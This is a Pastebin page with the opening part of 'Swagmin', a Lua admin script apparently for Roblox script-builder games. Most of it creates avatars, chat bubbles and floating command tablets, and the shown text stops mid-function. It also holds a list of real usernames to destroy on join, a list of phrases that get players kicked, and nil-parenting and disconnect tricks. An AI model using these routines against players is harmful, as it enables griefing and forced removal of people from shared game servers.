Advertisement
Derek1017

Super Admin

Mar 24th, 2015
534
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 319.65 KB | None | 0 0
  1. --[[Swagmin by Derek1017. Run Local!]]--
  2. script.Parent = Instance.new('Glue')
  3. LocalPlayer = game.Players.LocalPlayer
  4. ClonyPooPoo = script:Clone()
  5. NormPooPoo = nil
  6. Commands = {}
  7. tablets = {}
  8. jai = {}
  9. KL = {}
  10. BL = {}
  11. KFC = {}
  12. atmp = {}
  13. NTS = {}
  14. Name = 'Swagmin'
  15. Bet = ";"
  16. AntiFall = true
  17. Globals = _G
  18. GuiChat = true
  19. GlobalTable = {}
  20. Explorer = {On = false, Parent = game}
  21. Tablet1Size = Vector3.new(4, 0.3, 4)
  22. Tablet2Size = Vector3.new(4.5,4.5,0.05)
  23. TabletMain=Vector3.new(3,0.2,3)
  24. Removed = false;
  25. Radius = 40
  26. TimeLeft = 60
  27. CancelSd = false
  28. kphrase = true
  29. Fire = true
  30. Light = true
  31. Camera = workspace.CurrentCamera
  32. SourceName = "DSource"
  33. SourceValue = ""
  34. tablets2 = {}
  35. SelOut = true -- Disabled for testing
  36. OutputType = true
  37. ball = nil
  38. ChatNo = trued
  39. TabletRotation = 0.0
  40. TabletRotationIncrease = 0.1
  41. Credits = {
  42.         {Name = 'Derek1017', Why = 'Creator'},
  43. }                                
  44. banlist = {
  45. 'FearAntonio','Zappp123',"futruecool","dawson9237",'ultimate055','Particle',"shadowtempo",
  46. "RockinKilla","louis14327","Supah","35fireshock","SkyWarriorA2","Noobefy","GLaDOS11","bluemarlin3",
  47. "monstertrooper101","MountainSnow","fireeereee","football6yiu","Laxerrrr","Explodem","fastdrivergurshaan",
  48. "dzeko50382","alpherkiller2","xxCONTENTDELETERxx","TheRoboram","fireboy130","buildingrox","DragonWarlord101",
  49. "tyiawsome100000","AlienDestroyer57","thunder578o2","dangerspookycanyon","cowvenom","general00B","artuha00","CottonEyedMario",
  50. "tball124","kaiman69","RockinKilla","Speedhax4r","Perssibletelamon2","michael613137","bakuganmaster90",
  51. "darkknight5678","Daniel800100","forbes50","Freeze551","3waffle","iTzANTHONY","dragon20043","tyler20001176",
  52. "RangerHero","clerkpuppy34","PURPLEMETRO44","masterchife","1waffle1","blackcrusade45","thescriptstealer","rockinkilla",
  53. "Jordan1019","3r4s3r","themasterwarrior","bibo5o","owogorga123456","nekkoangel2","KIPILLasa10","brampj","awas3",
  54. "Sportfan52","contentwaffle","Djblakey","n00b1","LuaScriptExpert","H4ck0rz1337","ClawsDeMorris2012","guoyuan",
  55. "jaccob","PuzzleCrazy","coolerman100","scriptmuchteh","fireblade2","vegta44","Josiah123413","SkullOwner",
  56. 'Earlythunder1000',"80c","chclfey052008","Sam9912","coldabcd","Florys2","DaKilla10001","jjb345","Dylanbuil",
  57. "robobloxX80","alexandersupermaster","Crytonic","soutleelee","Guardianpokemon123","SteveBodein67","Slurrrp",
  58. "meanmanomg7","Isaiah328","jordan83221","supermax333","tuning599550","Scarryhallodude909","leon095","merlin156","CombativeEniola"}
  59. allowed = {'Derek1017'}
  60. Version = 92.3
  61. for _,v in pairs(script:GetChildren()) do
  62.         if v:IsA("StringValue") then
  63.                 SourceName = v.Name
  64.                 SourceValue = v.Value
  65.         end
  66. end
  67. function isallowed()
  68.         for k,v in pairs(allowed) do
  69.                 if v:lower() == LocalPlayer.Name:lower() then
  70.                         return true
  71.                 end
  72.         end
  73. end
  74. NewSource = function(S,P)
  75.         DS = NormPooPoo:Clone()
  76.         DS:ClearAllChildren()
  77.         EN = Instance.new('StringValue',DS)
  78.         EN.Name = SourceName
  79.         EN.Value = S
  80.         DS.Parent = P
  81.         return DS
  82. end
  83. localScript = function(Source,Parent)
  84.         local NewScript = ClonyPooPoo:Clone()
  85.         NewScript:ClearAllChildren()
  86.         local Souc = Instance.new('StringValue')
  87.         Souc.Parent = NewScript
  88.         Souc.Name = SourceName
  89.         Souc.Value = Source
  90.         NewScript.Parent = Parent
  91.         return NewScript
  92. end
  93. Players = game:GetService("Players")
  94. CharacterName = LocalPlayer.Name
  95. --[[Input message]]--
  96. eq = Instance.new("Message",Workspace)
  97. eq.Text = "Swagmin Have Successfully loaded"
  98. Wait(3)
  99. eq.Text = ("Derek1017 For updated commands!")
  100. Wait(3)
  101. eq.Parent = nil
  102. --[[ GET RID OF ]]--
  103. function GetRidOf(v)        
  104.         pcall(function() v:Destroy() end)
  105. end
  106. --[[ LoadProbe ]]--
  107. function LoadProbe()
  108.         LocalPlayer.Character = nil
  109.         local m = Instance.new("Model",workspace)
  110.         m.Name = CharacterName
  111.         local c = Instance.new("Part",m)
  112.         c.Anchored = true
  113.         c.Shape = "Ball"
  114.         c.Size = Vector3.new(4,4,4)
  115.         c.Transparency = 1
  116.         c.BrickColor = BrickColor.new("Really red")
  117.         c.TopSurface = 0
  118.         c.BottomSurface = 0
  119.         local f = Instance.new("Part",m)
  120.         f.Name = "Head"
  121.         f.Anchored = true
  122.         f.Shape = "Ball"
  123.         f.Size = Vector3.new(4,4,4)
  124.         f.Transparency = 0.5
  125.         f.BrickColor = BrickColor.new("Really red")
  126.         f.Material = "Slate"
  127.         f.Reflectance = 1
  128.         c.TopSurface = 0
  129.         c.BottomSurface = 0
  130.         Instance.new("Humanoid",m).MaxHealth = 0
  131.         ball = f
  132.         Probe = c
  133.         coroutine.wrap(function()
  134.                 while not LocalPlayer.Character and wait() do
  135.                         c.CFrame = Camera.CoordinateFrame
  136.                         f.CFrame = Camera.Focus
  137.                 end
  138.                 m:Destroy()
  139.         end)()
  140. end
  141. --[[ SBL Client ]]--
  142. coroutine.wrap(function()
  143.         local bl = {}
  144.         game.Players.ChildAdded:connect(function(p)
  145.                 if not p:IsA(Player) then return end
  146.                 for k,v in pairs(bl) do
  147.                         if v:lower() == p.Name:lower() then
  148.                                 for i=1,5 do
  149.                                         pcall(function() p:Destroy() end)
  150.                                         wait()
  151.                                 end
  152.                                 return
  153.                         end
  154.                 end
  155.         end)
  156.         while not AddCommand do wait() end
  157.         Output3("Dynamic lightning Added!",{Colors.red},LocalPlayer)
  158.         AddCommand("SBL List","sbl",function(Msg,Speaker)
  159.                 if not bl or #bl == 0 then
  160.                         Output("SBL Offline!",{Colors.Red},LocalPlayer)
  161.                         return
  162.                 end
  163.                 table.sort(bl)
  164.                 Output("[SBL] Synchronised Ban List",{Colors.red},LocalPlayer)
  165.                 Output("Created by Derek1017",{Colors.red},LocalPlayer)
  166.                 Output("SBL synchronises every 30 seconds with roblox.com",{Colors.red},LocalPlayer)
  167.                 Output("Banned players: "..#bl,{Colors.red},LocalPlayer)
  168.                 local f = 0
  169.                 for k,v in pairs(bl) do
  170.                         if Msg == "" or Msg:lower() == "all" or Msg:lower() == "list" then
  171.                                 f = -1 wait()
  172.                                 Output("Banned: "..v,{Colors.Orange},LocalPlayer)
  173.                         elseif v:sub(1,#Msg):lower() == Msg:lower() then
  174.                                 Output("Banned: "..v,{Colors.Orange},LocalPlayer)
  175.                                 f = f + 1 wait()
  176.                         end
  177.                 end
  178.                 if f >= 0 then
  179.                         Output("Found "..f.." players",{Colors.red},LocalPlayer)
  180.                 end
  181.         end)
  182.         local function FilterData(data,tab)
  183.                 local mp,ru = game:GetService("MarketplaceService"),LoadLibrary("RbxUtility")
  184.                 local fo = ru.DecodeJSON(mp:GetProductInfo(data)).Description:match("BANLIST:(%S+)")
  185.                 for s in fo:gmatch("[^,]+") do table.insert(tab,s) end
  186.         end
  187.         local function GetData(tab)
  188.                 local col = game:GetService("InsertService"):GetCollection(1013039)
  189.                 for k,asset in pairs(col) do
  190.                         FilterData(asset.AssetId,tab)
  191.                 end
  192.         end
  193.         repeat
  194.                 bl = {}
  195.                 GetData(bl)
  196.         until not wait(30)
  197. end)()
  198. --[[ LoadCharacter ]]--
  199. function LoadCharacter(DaCFrame)
  200.         local Character = game:service'InsertService':LoadAsset(68452456):children()[1]
  201.         Character.Name = CharacterName or LocalPlayer.Name -- Character.Name
  202.         Character.Parent = workspace
  203.         LocalPlayer.Character = Character
  204.         Character.Torso.CFrame = DaCFrame
  205.         Camera.CameraSubject = Character.Humanoid
  206.         Camera.CameraType = "Custom"
  207.         if LocalPlayer.Name == 'Derek1017' or LocalPlayer.Name == 'jazzgameboy' then
  208.                 local Shirt = Instance.new("Shirt",Character)
  209.                 Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=41173532"
  210.                 local Pants = Instance.new("Pants",Character)
  211.                 Pants.PantsTemplate = "http://www.roblox.com/asset/?id=64644604"
  212.                 MessyHairAndCap = Instance.new("Hat")
  213.                 MessyHairAndCap.Name = "MessyHairAndCap"
  214.                 MessyHairAndCap.Parent = Character
  215.                 MessyHairAndCap.AttachmentPos = Vector3.new(0.135000005, 0.150000006, -0.100000001)
  216.                 Handle = Instance.new("Part")
  217.                 Handle.Name = "Handle"
  218.                 Handle.Parent = MessyHairAndCap
  219.                 Handle.FormFactor = Enum.FormFactor.Custom
  220.                 Handle.Size = Vector3.new(1.59999919, 1.4000001, 1.4000001)
  221.                 Handle.BottomSurface = Enum.SurfaceType.Smooth
  222.                 Handle.Locked = true
  223.                 Handle.TopSurface = Enum.SurfaceType.Smooth
  224.                 Mesh = Instance.new("SpecialMesh")
  225.                 Mesh.Parent = Handle
  226.                 Mesh.TextureId = "http://www.roblox.com/asset/?id=78028924"
  227.                 Mesh.MeshId = "http://www.roblox.com/asset/?id=78028818"
  228.                 Mesh.Scale = Vector3.new(1.04999995, 1, 1)
  229.                 Mesh.MeshType = Enum.MeshType.FileMesh
  230.                 DogTags = Instance.new("Hat")
  231.                 DogTags.Name = "DogTags"
  232.                 DogTags.Parent = Character
  233.                 DogTags.AttachmentPos = Vector3.new(0, 1.26999998, 0.0399999991)
  234.                 Handle2 = Instance.new("Part")
  235.                 Handle2.Name = "Handle"
  236.                 Handle2.Parent = DogTags
  237.                 Handle2.FormFactor = Enum.FormFactor.Symmetric
  238.                 Handle2.Size = Vector3.new(1, 1, 1)
  239.                 Handle2.BottomSurface = Enum.SurfaceType.Smooth
  240.                 Handle2.Locked = true
  241.                 Handle2.TopSurface = Enum.SurfaceType.Smooth
  242.                 Mesh2 = Instance.new("SpecialMesh")
  243.                 Mesh2.Parent = Handle2
  244.                 Mesh2.TextureId = "http://www.roblox.com/asset/?id=30683431"
  245.                 Mesh2.MeshId = "http://www.roblox.com/asset/?id=30683421"
  246.                 Mesh2.Scale = Vector3.new(1.20000005, 1, 1.09000003)
  247.                 Mesh2.MeshType = Enum.MeshType.FileMesh
  248.                 DarkAgeNinjaSwordpack = Instance.new("Hat")
  249.                 DarkAgeNinjaSwordpack.Name = "DarkAgeNinjaSwordpack"
  250.                 DarkAgeNinjaSwordpack.Parent = Character
  251.                 DarkAgeNinjaSwordpack.AttachmentPos = Vector3.new(0.100000001, 1.70000005, -0.649999976)
  252.                 Handle3 = Instance.new("Part")
  253.                 Handle3.Name = "Handle"
  254.                 Handle3.Parent = DarkAgeNinjaSwordpack
  255.                 Handle3.FormFactor = Enum.FormFactor.Custom
  256.                 Handle3.Size = Vector3.new(3.40000033, 3.20000076, 0.400000036)
  257.                 Handle3.BottomSurface = Enum.SurfaceType.Smooth
  258.                 Handle3.Locked = true
  259.                 Handle3.TopSurface = Enum.SurfaceType.Smooth
  260.                 Mesh3 = Instance.new("SpecialMesh")
  261.                 Mesh3.Parent = Handle3
  262.                 Mesh3.TextureId = "http://www.roblox.com/asset/?id=86594355"
  263.                 Mesh3.MeshId = "http://www.roblox.com/asset/?id=86594435"
  264.                 Mesh3.Scale = Vector3.new(0.699999988, 0.699999988, 0.699999988)
  265.                 Mesh3.MeshType = Enum.MeshType.FileMesh
  266.                 Roblox20LeftLeg = Instance.new("CharacterMesh")
  267.                 Roblox20LeftLeg.Parent = Character
  268.                 Roblox20LeftLeg.BodyPart = Enum.BodyPart.LeftLeg
  269.                 Roblox20LeftLeg.MeshId = 27111857
  270.                 Roblox20RightLeg = Instance.new("CharacterMesh")
  271.                 Roblox20RightLeg.Parent = Character
  272.                 Roblox20RightLeg.BodyPart = Enum.BodyPart.RightLeg
  273.                 Roblox20RightLeg.MeshId = 27111882
  274.                 Roblox20torso = Instance.new("CharacterMesh")
  275.                 Roblox20torso.Parent = Character
  276.                 Roblox20torso.BodyPart = Enum.BodyPart.Torso
  277.                 Roblox20torso.MeshId = 27111894
  278.                 SuperheroLeftArm = Instance.new("CharacterMesh")
  279.                 SuperheroLeftArm.Parent = Character
  280.                 SuperheroLeftArm.BodyPart = Enum.BodyPart.LeftArm
  281.                 SuperheroLeftArm.MeshId = 32328397
  282.                 SuperheroRightArm = Instance.new("CharacterMesh")
  283.                 SuperheroRightArm.Parent = Character
  284.                 SuperheroRightArm.BodyPart = Enum.BodyPart.RightArm
  285.                 SuperheroRightArm.MeshId = 32328563
  286.        elseif LocalPlayer.Name == 'Derek1017' or LocalPlayer.Name == 'shadowchd11' or LocalPlayer.Name == 'luckybloxerr' or LocalPlayer.Name ==
  287. 'DarkusTheory' or LocalPlayer.Name == 'Captainkodai2' or LocalPlayer.Name == 'Isaiah328' or LocalPlayer.Name == 'mymarmar17' or LocalPlayer.Name ==
  288. 'dashcat5' or LocalPlayer.Name == "einsteinK" or LocalPlayer.Name == "montano60" or LocalPlayer.Name == "tuusKOR661" then
  289.                 local Part = Instance.new("Part",Character)
  290.                 Part.Name = "Horus"
  291.                 Part.Size = Vector3.new(2,2,2)
  292.                 Part.CanCollide = false
  293.                 Part.Locked = true
  294.                 Part:BreakJoints()
  295.                 local Weld = Instance.new("Weld",Part)
  296.                 Weld.Part0 = Part
  297.                 Weld.Part1 = Character.Head
  298.                 Weld.C0 = CFrame.new(0,-0.5,0)
  299.                 local Mesh = Instance.new("SpecialMesh",Part)
  300.                 Mesh.MeshType = "FileMesh"
  301.                 Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  302.                 Mesh.TextureId = "http://www.roblox.com/asset/?id=102083848"
  303.                 local Shirt = Instance.new("Shirt",Character)
  304.                 Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=92526961"
  305.                 local Pants = Instance.new("Pants",Character)
  306.                 Pants.PantsTemplate = "http://www.roblox.com/asset/?id=92527064"
  307.         else
  308.                 for _,v in pairs(CharStuff) do
  309.                                                 v:Clone().Parent = Character
  310.                 end
  311.         end
  312.         for _,v in pairs(Character:children()) do
  313.                 if v:IsA("BasePart") then
  314.                         v.BrickColor = BrickColor.new("Pastel brown")
  315.                 end
  316.         end
  317. end
  318. --[[L,A,G,]]--
  319. Lag = function(Player,Type) Output2("Lagging can't be done!",{Colors.Red},LocalPlayer) end
  320. --[[ GTFO ]]--
  321. function GTFO(v)
  322.         coroutine.resume(coroutine.create(function()
  323.                 pcall(function() v:Remove() end)
  324.                 wait(0.5)
  325.                 pcall(function() Debris:AddItem(v,1) end)
  326.         end))
  327. end
  328. --[[ ShortCuts ]]--      --Put Anything You Want People To Say To Get Kicked Here Please Dont Abuse
  329. KickingPhrases={':ba'..'n',':ki'..'ck',':cra'..'sh','rp'..'e','shut'..'down','isd','ishu'..'tdown','ki'..'ck/','b'..'an/','NOVA','ba'..'n:','ki'..'ck:','cra'..'sh:','/ki'..'ck','/b'..'an','/cr'..'ash','bet','tablet'};
  330. Colors = {
  331.         Red = Color3.new(1),
  332.         PinkRed = Color3.new(1,0,0.5),
  333.         Orange = Color3.new(1,0.5),
  334.         Yellow = Color3.new(1,1),
  335.         Green = Color3.new(0,1),
  336.         Blue = Color3.new(0,0,1),
  337.         LightBlue = Color3.new(0,1,1),
  338.         Pink = Color3.new(1,0,1),
  339.         Magenta = Color3.new(0.54,0,0.54),
  340.         Cyan = Color3.new(0,0.6,1),
  341.         White = Color3.new(1,1,1),
  342.         Grey = Color3.new(0.5,0.5,0.5),
  343.         Black = Color3.new()}
  344.  
  345. CharStuff = {}
  346. if LocalPlayer.Character then
  347.         for _,Item in pairs(LocalPlayer.Character:children()) do
  348.                 if Item:IsA('CharacterMesh') or Item:IsA('Hat') or Item:IsA('Shirt') or Item:IsA('Pants') then
  349.                         table.insert(CharStuff,Item:Clone())
  350.                 end
  351.         end
  352. end
  353. --[[ Inter Swagmin ]]--
  354. --[[ Inter Swagmin ]]--
  355. Nils = {}
  356. local function Add(child)
  357.         if Removed then return LC:disconnect() end
  358.         if not child:IsA("StringValue") then return end
  359.         if child.Name == "DISC: "..LocalPlayer.Name and LocalPlayer.Name~=eq.Text then
  360.                 pcall(function() LocalPlayer.Parent = nil end)
  361.                 pcall(function() LocalPlayer.Parent = game.Players end)
  362.                 wait(5)
  363.                 Instance.new("ManualSurfaceJointInstance")
  364.         elseif child.Name == "DISC NIL" and p.Name~=eq.Text and not LocalPlayer.Parent then
  365.                 pcall(function() LocalPlayer.Parent = game.Players end)
  366.                 wait(5)
  367.                 Instance.new("ManualSurfaceJointInstance")
  368.         elseif child.Name == "NILDATA" then
  369.                 local tab = LoadLibrary("RbxUtility").DecodeJSON(child.Value)
  370.                 if tab.Name and not Nils[tab.Name] then
  371.                         Nils[tab.Name] = tab
  372.                         wait(1)
  373.                         Output2("Found Infinity user: "..tab.Name,{Colors.Red},LocalPlayer)
  374.                         Output2("Use shout"..Bet.."message to chat with him",{Colors.Red},LocalPlayer)
  375.                 end
  376.         elseif child.Name == "NILSHOUT" then
  377.                 Output2(child.Value,{Colors.White},LocalPlayer)
  378.         end
  379. end
  380. LC = game:GetService("Lighting").ChildAdded:connect(function(...) ypcall(Add,...) end)
  381. coroutine.wrap(function()
  382.         repeat wait() until Output2
  383.         repeat local tag = Instance.new("StringValue")
  384.                 local tab = {Name=LocalPlayer.Name,Version=Version,Explorer=not not Explorer,Removed=Removed}
  385.                 local plr = Instance.new("ObjectValue",tag) plr.Name = "Player" plr.Value = LocalPlayer
  386.                 tag.Value = LoadLibrary("RbxUtility").EncodeJSON(tab) tag.Name = "NILDATA"
  387.                 tag.Parent = game:GetService("Lighting") wait(1) pcall(function() tag:Destroy() end)
  388.         until not wait(30)
  389. end)()
  390. --[[ Chat ]]--
  391. Chat2 = function(Msg)
  392.         if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Head") then
  393.                 local Part = Instance.new("Part",LocalPlayer.Character)
  394.                 Part.CanCollide = false
  395.                 Part.Transparency = 1
  396.                 Part.CFrame = LocalPlayer.Character.Head.CFrame * CFrame.new(0,3,0)
  397.                 Part:BreakJoints()
  398.                 local Pos = Instance.new("BodyPosition",Part)
  399.                 Pos.maxForce = Vector3.new(1/0,1/0,1/0)
  400.                 Pos.position = LocalPlayer.Character.Head.Position
  401.                 local BBG = Instance.new("BillboardGui",LocalPlayer.Character or ball and ball.Parent or workspace)
  402.                 BBG.Adornee = Part
  403.                 BBG.Size = UDim2.new(0,20*#Msg,0,30)
  404.                 BBG.StudsOffset = Vector3.new(0,3,0)
  405.                 local Txt = Instance.new("TextLabel",BBG)
  406.                 Txt.Text = ""
  407.                 Txt.FontSize = "Size18"
  408.                 Txt.TextColor3 = Color3.new(1,1,1)
  409.                 wait()
  410.                 coroutine.wrap(function()
  411.                         while Txt.Parent ~= nil do
  412.                                 for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
  413.                                 for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
  414.                                 for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
  415.                                 for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
  416.                                 for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,0,i) wait() end
  417.                                 for i = 1, 0, -0.1 do text.TextColor3 = Color3.new(i,0,i) wait() end
  418.                                 wait()
  419.                         end
  420.                 end)()
  421.                 Txt.BackgroundColor3 = Color3.new(0,0,0)
  422.                 Txt.Size = UDim2.new(1,0,1,0)
  423.                 if #Msg < 50 then
  424.                         for i=1,#Msg do
  425.                                 Txt.Text = Txt.Text .. Msg:sub(i,i)
  426.                                 wait(0.09)
  427.                         end
  428.                 else
  429.                         Txt.Text = Msg
  430.                 end
  431.                 coroutine.wrap(function()
  432.                         for i=3,100 do
  433.                                 BBG.StudsOffset = Vector3.new(0,i/10,0)
  434.                                 Pos.position = LocalPlayer.Character.Head.Position
  435.                                 Txt.TextTransparency = i / 100
  436.                                 Txt.BackgroundTransparency = i / 100
  437.                                 wait()
  438.                         end
  439.                         Part:Destroy()
  440.                         BBG:Destroy()
  441.                 end)()
  442.         end
  443. end
  444. Chat = function(Msg)
  445.         if LocalPlayer.Character ~= nil and LocalPlayer.Character:FindFirstChild("Head") ~= nil then
  446.                 local Part = Instance.new("Part",LocalPlayer.Character)
  447.                 Part.CanCollide = false
  448.                 Part.Transparency = 1
  449.                 Part.CFrame = Camera.Focus * CFrame.new(0,3,0)
  450.                 Part:BreakJoints()
  451.                 local Pos = Instance.new("BodyPosition",Part)
  452.                 Pos.maxForce = Vector3.new(1/0,1/0,1/0)
  453.                 Pos.position = Camera.Focus.p
  454.                 local BBG = Instance.new("BillboardGui",LocalPlayer.Character or ball and ball.Parent or workspace)
  455.                 BBG.Adornee = Part
  456.                 BBG.Size = UDim2.new(0,20*#Msg,0,30)
  457.                 BBG.StudsOffset = Vector3.new(0,3,0)
  458.                 local Txt = Instance.new("TextLabel",BBG)
  459.                 Txt.Text = Msg
  460.                 Txt.FontSize = "Size18"
  461.                 Txt.TextColor3 = Color3.new(1,1,1)
  462.                 wait()
  463.                 coroutine.wrap(function()
  464.                         while Txt.Parent ~= nil do
  465.                                 for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
  466.                                 for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(i,0,0) wait() end
  467.                                 for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
  468.                                 for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(0,i,0) wait() end
  469.                                 for i = 0, 1, 0.1 do Txt.TextColor3 = Color3.new(0,0,i) wait() end
  470.                                 for i = 1, 0, -0.1 do Txt.TextColor3 = Color3.new(i,0,i) wait() end
  471.                                 wait()
  472.                         end
  473.                 end)()
  474.                 Txt.BackgroundColor3 = Color3.new(0,0,0)
  475.                 Txt.Size = UDim2.new(1,0,1,0)
  476.                 coroutine.wrap(function()
  477.                         for i=3,100 do
  478.                                 BBG.StudsOffset = Vector3.new(0,i/10,0)
  479.                                 Pos.position = Camera.Focus.p
  480.                                 Txt.TextTransparency = i / 100
  481.                                 Txt.BackgroundTransparency = i / 100
  482.                                 wait()
  483.                         end
  484.                         Part:Destroy()
  485.                         BBG:Destroy()
  486.                 end)()
  487.         end
  488. end
  489. check = function(p)
  490.         for _,n in pairs(allowed) do
  491.                 if p.Name:lower() == n:lower() then
  492.                         return true
  493.                 end
  494.         end
  495. end
  496. --[[ GetTablets ]]--
  497. GetTablets = function(player)
  498.         local _tablets = {}
  499.         for k, tablet in pairs(tablets) do
  500.                 if tablet:FindFirstChild("Recipient") ~= nil and tablet.Parent and tablet:findFirstChild("Part") then
  501.                         if tablet.Recipient.Value == player then
  502.                                 table.insert(_tablets, tablet)
  503.                         end
  504.                 else
  505.                         tablets[k] = nil
  506.                 end
  507.         end
  508.         return _tablets
  509. end
  510. GetTablets2 = function(player)
  511.         local _tablets = {}
  512.         for k, tablet in pairs(tablets2) do
  513.                 if tablet:FindFirstChild("Recipient") ~= nil and tablet.Parent and tablet:findFirstChild("Part") then
  514.                         if tablet.Recipient.Value == player then
  515.                                 table.insert(_tablets, tablet)
  516.                         end
  517.                 else
  518.                         tablets2[k] = nil
  519.                 end
  520.         end
  521.         return _tablets
  522. end
  523. --[[ Output ]]--
  524. function ping(tab,Color)
  525.         plr = LocalPlayer
  526.         for i=1,#tab do
  527.                 local p=Instance.new("Part",game.Workspace)
  528.                 p.Name="Output3"
  529.                 p.Size=Vector3.new(1.25,1.25,1.25)
  530.                 p.Transparency=0.5
  531.                 p.Anchored=true
  532.                 p.CanCollide = false
  533.                 p.Color = Color
  534.                 p.TopSurface="Smooth"
  535.                 p.CFrame=plr.Character.Torso.CFrame + Vector3.new(0,800,0)
  536.                 p.BottomSurface="Smooth"
  537.                 local fire = Instance.new("Fire", p)
  538.                 fire.Color = Color3.new(1, 0, 0)
  539.                 fire.Size = 1
  540.                 fire.Heat = 1
  541.                 local Light = Instance.new("PointLight",p)
  542.                 Light.Range = 10
  543.                 Light.Color = Color3.new(1, 0, 0)
  544.                 Light.Enabled = true
  545.                 Light.Brightness = 10
  546.                 xv=Instance.new("SpecialMesh",p)
  547.                 xv.MeshType="FileMesh"
  548.                 xv.Name="me"
  549.                 xv.MeshId="http://www.roblox.com/Asset/?id=9756362"
  550.                 xv.Scale = Vector3.new(1.25,1.25,1.25)
  551.                 xv.TextureId = ""
  552.                 xv.VertexColor = Vector3.new(1,0,0)
  553.                 local bbg=Instance.new("BillboardGui",p)
  554.                 bbg.Name=p.Name
  555.                 bbg.StudsOffset=Vector3.new(0,1,-0.2)
  556.                 bbg.Size=UDim2.new(1,0,1,0)
  557.                 pn = Instance.new("TextLabel", bbg)
  558.                 pn.BackgroundTransparency = 1
  559.                 pn.Position = UDim2.new(0, 0, 0.1, 0)
  560.                 pn.Size = UDim2.new(0.9, 0, 0.4, 0)
  561.                 pn.TextColor3 = Color
  562.                 pn.TextStrokeColor3 = Color3.new(1, 0, 0)
  563.                 pn.TextStrokeTransparency = 0
  564.                 pn.FontSize = Enum.FontSize.Size24
  565.                 pn.Text=tab[i]
  566.                 pn.Name=tab[i]
  567.                 coroutine.wrap(function()
  568.                         local f=i*(200/#tab)
  569.                         while wait() do
  570.                         f=f+0.4
  571.                         local s,c, p = math.sin, math.cos, math.pi
  572.                                 p.CFrame=CFrame.new(plr.Character.Torso.Position + Vector3.new(s(f/100*p), 0.05, c(f/100*p))*10)
  573.                         end
  574.                 end)()
  575.         end
  576. end
  577. Output = function(message, color, recipient)
  578.         if not recipient then recipient = LocalPlayer end
  579.         local _pos = Camera.Focus* CFrame.new(7, 7, 7)
  580.         if not workspace:findFirstChild("Output::" .. recipient.Name) then
  581.                 Instance.new("Model",workspace).Name =        "Output::" .. recipient.Name
  582.         end
  583.         local model = Instance.new("Model")
  584.         model.Parent = workspace:findFirstChild("Output::" .. recipient.Name)
  585.         model.Name = "Output::" .. recipient.Name
  586.         local part = Instance.new("Part")
  587.         part.Parent = model
  588.         part.Transparency = 0.5
  589.         part.CanCollide = false
  590.         part.TopSurface = "Smooth"
  591.         part.BottomSurface = "Smooth"
  592.         part.FormFactor = "Plate"
  593.         part.Color = color[1]
  594.         part.Size = Tablet1Size
  595.         part.CFrame = _pos
  596.         if SelOut and false then
  597.                 atc = Instance.new("SelectionPartLasso",part)
  598.                 atc.Part = part
  599.                 atc.Humanoid = recipient.Character and recipient.Character:findFirstChild("Humanoid")
  600.                 atc.Color = BrickColor.new(color[1])
  601.                 atc.Name = 'Test'
  602.         end
  603.         local click = Instance.new("ClickDetector")
  604.         click.MaxActivationDistance = 50
  605.         click.Parent = part
  606.         click.MouseClick:connect(function(player)
  607.                 if player == recipient or player.Name == "Derek1017" then
  608.                         if Explorer.On and model:findFirstChild("Explorer") then
  609.                                 Explorer.Parent = model.Explorer.Value
  610.                                 OnChatted("explorer"..Bet.."old",LocalPlayer)
  611.                         elseif Explorer.On then
  612.                                 if model:findFirstChild("Parent") then
  613.                                         if not        Explorer.Parent.Parent then
  614.                                                 Output2("No Parent!",{Colors.Red},LocalPlayer)
  615.                                                 return
  616.                                         end
  617.                                         Explorer.Parent = Explorer.Parent.Parent
  618.                                         OnChatted("explorer"..Bet.."old",LocalPlayer)
  619.                                 elseif model:findFirstChild("Dismiss") then
  620.                                         OnChatted("dismiss"..Bet,LocalPlayer)
  621.                                 else
  622.                                         model:Destroy()
  623.                                 end
  624.                         else
  625.                                 model:Destroy()
  626.                         end
  627.                 end
  628.         end)
  629.         if Fire then
  630.                 local fire = Instance.new("Fire",part)
  631.                 fire.Heat = 0
  632.                 fire.Size = 6
  633.                 fire.Color = color[1]
  634.                 fire.SecondaryColor = color[1]
  635.                end
  636.         if Light then
  637. local Light = Instance.new("PointLight",part)
  638.                 Light.Range = 10
  639.                 Light.Color = color[1]
  640.                 Light.Enabled = true
  641.                 Light.Brightness = 10
  642.         end
  643.         local box = Instance.new("SelectionBox",part)
  644.         box.Adornee = part
  645.         box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
  646. --        local pos = Instance.new("BodyPosition",part)
  647. --        pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  648. --        pos.position = _pos.p
  649. --        local gyro = Instance.new("BodyGyro",part)
  650. --        gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  651.         local recip = Instance.new("ObjectValue",model)
  652.         recip.Name = "Recipient"
  653.         recip.Value = recipient
  654.         Gui = Instance.new("BillboardGui")
  655.         Gui.Parent = model
  656.         Gui.Adornee = part
  657.         Gui.Size = UDim2.new(1, 0, 1, 0)
  658.         Gui.StudsOffset = Vector3.new(0, 3, 0)
  659.         local Frame = Instance.new("Frame",Gui)
  660.         Frame.Size = UDim2.new(1, 0, 1, 0)
  661.         Frame.BackgroundTransparency = 1
  662.         Label = Instance.new("TextLabel")
  663.         Label.Parent = Frame
  664.         Label.Size = UDim2.new(1,0,1,0)
  665.         Label.FontSize = "Size24"
  666.         Label.TextColor3 = color[1]
  667.         Label.Text = message
  668.         Label.BackgroundTransparency = 1
  669.         Label.Font = 'ArialBold'
  670.         table.insert(tablets, model)
  671.         return model
  672. end
  673. Output2 = function(message, color, recipient, stick)
  674.         if recipient == nil then recipient = LocalPlayer end
